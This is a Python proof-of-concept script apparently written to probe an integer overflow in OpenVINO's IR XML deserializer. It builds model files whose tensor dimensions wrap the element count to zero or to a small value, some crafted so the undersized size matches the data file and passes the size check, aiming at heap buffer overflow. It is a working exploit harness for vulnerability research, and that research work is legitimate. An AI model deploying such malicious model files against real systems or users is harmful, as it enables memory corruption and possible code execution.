poc_ir_integer_overflow.py

#!/usr/bin/env python3
"""
OpenVINO IR XML Integer Overflow PoC
=====================================
Vulnerability: shape_size() in xml_deserialize_util.cpp (line ~916) uses
std::multiplies to compute total element count from shape dimensions WITHOUT
overflow detection. A safe version get_memory_size_safe() exists but is NOT
used in this code path.

Impact: Integer overflow in shape_size() can cause:
  - Undersized buffer allocation (allocates small buffer for huge tensor)
  - Heap buffer overflow when data is copied into undersized buffer
  - Potential code execution via heap corruption

Tested on: OpenVINO 2026.0.0
"""

import os
import sys
import struct
import tempfile
import traceback
import resource

# Limit memory to 2GB to prevent system freeze from huge allocations
try:
    soft, hard = resource.getrlimit(resource.RLIMIT_AS)
    resource.setrlimit(resource.RLIMIT_AS, (2 * 1024 * 1024 * 1024, hard))
    print("[*] Memory limit set to 2GB")
except Exception as e:
    print(f"[!] Could not set memory limit: {e}")

import openvino as ov

OUTPUT_DIR = os.path.dirname(os.path.abspath(__file__))


def create_ir_model(xml_path, bin_path, shape_str, dims, element_type="f32", bin_size=16):
    """Create a minimal OpenVINO IR XML model with given shape and a small .bin file."""

    dim_tags = "\n".join(f"                    <dim>{d}</dim>" for d in dims)

    xml_content = f"""<?xml version="1.0" ?>
<net name="overflow_test" version="11">
    <layers>
        <layer name="const" type="Const" id="0" version="opset1">
            <data element_type="{element_type}" shape="{shape_str}" offset="0" size="{bin_size}"/>
            <output>
                <port id="0" precision="FP32">
{dim_tags}
                </port>
            </output>
        </layer>
        <layer name="result" type="Result" id="1" version="opset1">
            <input>
                <port id="0" precision="FP32">
{dim_tags}
                </port>
            </input>
        </layer>
    </layers>
    <edges>
        <edge from-layer="0" from-port="0" to-layer="1" to-port="0"/>
    </edges>
</net>"""

    with open(xml_path, 'w') as f:
        f.write(xml_content)

    # Create bin file with minimal data
    with open(bin_path, 'wb') as f:
        f.write(b'\x00' * bin_size)

    return xml_content


def test_case(name, shape_str, dims, element_type="f32", bin_size=16, expected_overflow_calc=None):
    """Run a single test case and capture results."""
    print(f"\n{'='*70}")
    print(f"Test Case: {name}")
    print(f"  shape=\"{shape_str}\"")
    print(f"  dims={dims}")
    print(f"  element_type={element_type}, bin_size={bin_size}")
    if expected_overflow_calc:
        print(f"  Expected overflow: {expected_overflow_calc}")
    print(f"{'='*70}")

    xml_path = os.path.join(OUTPUT_DIR, f"test_{name}.xml")
    bin_path = os.path.join(OUTPUT_DIR, f"test_{name}.bin")

    try:
        xml_content = create_ir_model(xml_path, bin_path, shape_str, dims, element_type, bin_size)

        core = ov.Core()
        print(f"[*] Loading model from {xml_path}...")
        model = core.read_model(xml_path, bin_path)

        print(f"[!] Model loaded successfully (unexpected for overflow cases)")
        print(f"    Model name: {model.get_friendly_name()}")

        # Check output shape
        for i, output in enumerate(model.outputs):
            shape = output.get_shape()
            print(f"    Output {i} shape: {shape}")

            # Calculate what shape_size would give
            total = 1
            for d in shape:
                total *= d
            print(f"    shape_size (Python): {total}")
            print(f"    Memory needed (f32): {total * 4} bytes ({total * 4 / (1024**3):.2f} GB)")

        # Check Const op internal buffer size (reveals overflow)
        for op in model.get_ops():
            if op.get_type_name() == "Constant":
                try:
                    byte_size = op.get_byte_size()
                    print(f"    [CRITICAL] Const get_byte_size(): {byte_size}")
                    if byte_size == 0 and total > 0:
                        print(f"    [VULN] Integer overflow confirmed!")
                        print(f"    Shape claims {total} elements but internal buffer is 0 bytes")
                        print(f"    shape_size() overflowed to 0 in C++ due to std::multiplies<size_t>")
                except Exception as e:
                    print(f"    get_byte_size error: {e}")

        # Try to compile (tests downstream impact)
        try:
            compiled = core.compile_model(model, "CPU")
            print(f"    [CRITICAL] Compiled successfully - potential heap corruption!")
        except RuntimeError as ce:
            print(f"    Compile blocked: {str(ce)[:200]}")

        result = "LOADED"

    except MemoryError as e:
        print(f"[!] MemoryError: {e}")
        result = "MEMORY_ERROR"
    except RuntimeError as e:
        err_msg = str(e)
        print(f"[*] RuntimeError: {err_msg[:500]}")
        if "overflow" in err_msg.lower():
            print(f"[+] Overflow detected by OpenVINO (SAFE)")
            result = "OVERFLOW_DETECTED"
        elif "not enough data" in err_msg.lower() or "size mismatch" in err_msg.lower():
            print(f"[*] Size mismatch detected")
            result = "SIZE_MISMATCH"
        else:
            result = "RUNTIME_ERROR"
    except Exception as e:
        print(f"[*] Exception ({type(e).__name__}): {str(e)[:500]}")
        traceback.print_exc()
        result = f"EXCEPTION:{type(e).__name__}"
    finally:
        # Cleanup temp files
        for p in [xml_path, bin_path]:
            if os.path.exists(p):
                os.unlink(p)

    print(f"\n  Result: {result}")
    return result


def main():
    print("=" * 70)
    print("OpenVINO IR XML Integer Overflow PoC")
    print(f"OpenVINO version: {ov.__version__}")
    print(f"Python: {sys.version}")
    print(f"Platform: {sys.platform}")
    print(f"size_t max (64-bit): {2**64 - 1}")
    print("=" * 70)

    results = {}

    # -----------------------------------------------------------------------
    # Test 1: Baseline - normal small model (should work)
    # -----------------------------------------------------------------------
    results["baseline"] = test_case(
        name="baseline",
        shape_str="2,3",
        dims=[2, 3],
        bin_size=24,  # 2*3*4 = 24 bytes
    )

    # -----------------------------------------------------------------------
    # Test 2: Large but valid single dimension (1 billion f32 = 4GB)
    # shape_size = 1073741824, memory = 4GB
    # bin_size is only 16 bytes → mismatch
    # -----------------------------------------------------------------------
    results["large_single_dim"] = test_case(
        name="large_single_dim",
        shape_str="1073741824",
        dims=[1073741824],
        bin_size=16,
        expected_overflow_calc="1073741824 * 4 = 4GB, no overflow but size mismatch",
    )

    # -----------------------------------------------------------------------
    # Test 3: 64-bit overflow via two large dimensions
    # 4294967296 * 4294967296 = 2^64 = 0 (overflow to 0 on 64-bit)
    # With f32 (4 bytes): shape_size * 4 also overflows
    # If shape_size overflows to 0, allocation size = 0 → tiny buffer
    # -----------------------------------------------------------------------
    results["overflow_2_dims"] = test_case(
        name="overflow_2_dims",
        shape_str="4294967296,4294967296",
        dims=[4294967296, 4294967296],
        bin_size=16,
        expected_overflow_calc="2^32 * 2^32 = 2^64 = 0 (overflow on size_t)",
    )

    # -----------------------------------------------------------------------
    # Test 4: Overflow to small value
    # 2^33 * 2^33 = 2^66 mod 2^64 = 4
    # shape_size = 4, 4 * sizeof(f32) = 16 bytes
    # If bin_size=16, the size check passes AND the buffer is only 16 bytes
    # but the shape claims 73786976294838206464 elements!
    # -----------------------------------------------------------------------
    results["overflow_to_small"] = test_case(
        name="overflow_to_small",
        shape_str="8589934592,8589934592",
        dims=[8589934592, 8589934592],
        bin_size=16,
        expected_overflow_calc="2^33 * 2^33 = 2^66 mod 2^64 = 4, 4*4=16 matches bin_size",
    )

    # -----------------------------------------------------------------------
    # Test 5: Overflow to small value (crafted)
    # Goal: shape_size overflows to exactly 4, so 4 * 4(f32) = 16 bytes
    # 2^62 * 4 = 2^64 = 0... not 4
    # Try: (2^64 + 4) / 2 = 2^63 + 2 → 9223372036854775810 * 2 mod 2^64 = 4
    # -----------------------------------------------------------------------
    results["overflow_to_4"] = test_case(
        name="overflow_to_4",
        shape_str="9223372036854775810,2",
        dims=[9223372036854775810, 2],
        bin_size=16,
        expected_overflow_calc="9223372036854775810 * 2 mod 2^64 = 4, times 4 bytes = 16",
    )

    # -----------------------------------------------------------------------
    # Test 6: Three dimensions causing overflow
    # 65536 * 65536 * 65536 = 2^48 (no overflow, but huge)
    # 65536 * 65536 * 4294967296 = 2^48 * 2^32 = 2^80 → overflow
    # -----------------------------------------------------------------------
    results["overflow_3_dims"] = test_case(
        name="overflow_3_dims",
        shape_str="65536,65536,4294967296",
        dims=[65536, 65536, 4294967296],
        bin_size=16,
        expected_overflow_calc="2^16 * 2^16 * 2^32 = 2^64 = 0 (overflow)",
    )

    # -----------------------------------------------------------------------
    # Test 7: Realistic overflow - dimensions that look plausible
    # A "large image tensor": 65536 x 65536 x 256
    # = 1,099,511,627,776 elements * 4 = 4,398,046,511,104 bytes (~4TB)
    # No 64-bit overflow, but impractical allocation
    # -----------------------------------------------------------------------
    results["realistic_huge"] = test_case(
        name="realistic_huge",
        shape_str="65536,65536,256",
        dims=[65536, 65536, 256],
        bin_size=16,
        expected_overflow_calc="65536*65536*256 = 1099511627776, no overflow but 4TB needed",
    )

    # -----------------------------------------------------------------------
    # Test 8: Negative dimension
    # If parsed as signed integer, -1 as unsigned = 2^64-1 = 18446744073709551615
    # -----------------------------------------------------------------------
    results["negative_dim"] = test_case(
        name="negative_dim",
        shape_str="-1",
        dims=[-1],
        bin_size=16,
        expected_overflow_calc="-1 as size_t = 2^64-1 = 18446744073709551615",
    )

    # -----------------------------------------------------------------------
    # Test 9: Zero dimension (edge case)
    # shape_size = 0 → allocation of 0 bytes
    # -----------------------------------------------------------------------
    results["zero_dim"] = test_case(
        name="zero_dim",
        shape_str="0",
        dims=[0],
        bin_size=16,
    )

    # -----------------------------------------------------------------------
    # Test 10: Exact 64-bit boundary
    # 2^32-1 * 2^32-1 = (2^64 - 2^33 + 1) mod 2^64 = 18446744065119617025
    # Very large but doesn't overflow to 0
    # Try: 2^32 * 2^32 = 2^64 = 0 (exact overflow to 0)
    # -----------------------------------------------------------------------
    results["exact_boundary"] = test_case(
        name="exact_boundary",
        shape_str="4294967296,4294967296",
        dims=[4294967296, 4294967296],
        bin_size=16,
        expected_overflow_calc="2^32 * 2^32 = 2^64 mod 2^64 = 0 (exact zero overflow)",
    )

    # -----------------------------------------------------------------------
    # Test 11: Overflow with matching bin_size trick
    # If shape_size overflows to N, and we provide bin_size = N * sizeof(f32),
    # the size check might pass, leading to heap corruption
    #
    # shape_size(2^32, 2^32) overflows to 0, so 0 * 4 = 0
    # → bin_size = 0 won't work (file needs some data)
    #
    # Better: shape_size(2^33, 2^31) = 2^64 = 0, bin_size = 0
    # Or: use element count that overflows to a small number
    # (2^64 + 16) can't fit, so try:
    # shape = "4,1" with shape_size = 4, but actual data in shape is
    # "18446744073709551620,1" → overflows to 4, 4*4=16 bytes = bin_size
    # -----------------------------------------------------------------------
    results["overflow_match_bin"] = test_case(
        name="overflow_match_bin",
        shape_str="18446744073709551620,1",
        dims=[18446744073709551620, 1],
        bin_size=16,
        expected_overflow_calc="(2^64+4) mod 2^64 = 4, 4*4=16 bytes matches bin_size",
    )

    # -----------------------------------------------------------------------
    # Summary
    # -----------------------------------------------------------------------
    print("\n\n" + "=" * 70)
    print("SUMMARY")
    print("=" * 70)
    for name, result in results.items():
        status = "VULN?" if result == "LOADED" else ("SAFE" if "DETECTED" in result else result)
        print(f"  {name:30s} → {result:30s} [{status}]")

    print("\n[*] PoC complete.")


if __name__ == "__main__":
    main()